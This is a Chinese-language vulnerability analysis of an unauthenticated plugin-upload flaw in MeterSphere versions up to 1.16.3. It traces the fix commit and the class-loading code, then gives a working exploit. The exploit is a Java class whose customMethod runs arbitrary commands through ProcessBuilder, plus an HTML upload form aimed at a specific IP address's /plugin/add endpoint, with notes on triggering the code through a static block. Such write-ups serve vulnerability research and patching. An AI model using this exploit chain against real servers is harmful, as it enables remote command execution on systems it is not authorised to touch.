代码分析
版本<=1.16.3
查看修复日志
https://github.com/metersphere/metersphere/pull/9135/commits/9927d2c587a2b388ee5d633f6cc31346df4415de
将/plugin/** 这个路由的未授权删除了,全局搜/plugin定位到功能代码
跟进add方法中的pluginService.editPlugin(file) ,
跟进
在loadJar方法中使用URLClassLoader来加载jar包,将jar包的类加载进来;然后我们可以看到io.metersphere.controller.PluginController#customMethod中只有一行代码
return pluginService.customMethod(request);
跟进去
会调用指定类的customMethod方法,我们可以写一个恶意类然后定义一个customMethod然后来调用他
漏洞利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream;
public class hackx {
public void init(){ System.out.println("init Inject success"); }
public String customMethod(String cmd) throws IOException { InputStream in = new ProcessBuilder(cmd).start().getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1;
while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } return new String(baos.toByteArray()); } }
|
编译后打包为jar
新建文件上传表单
1 2 3 4 5 6 7 8 9 10 11
| <!DOCTYPE html> <html> <body> <form action="http://101.43.71.57:8081/plugin/add" method="POST" enctype="multipart/form-data"> <!-- <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" /> --> <input type="file" name="file" /> <input type="text" name="UploadType" value="file" /> <input type="submit" value="submit" /> </form> </body> </html>
|
传上去后,调用customMethod方法,执行命令
记录
classloader 与 Class.forname的区别
https://blog.csdn.net/wt520it/article/details/83014038
该处也可以将恶意代码写入到static代码块中,但仍需要利用customMethod来触发代码块中代码。
通过class.forname触发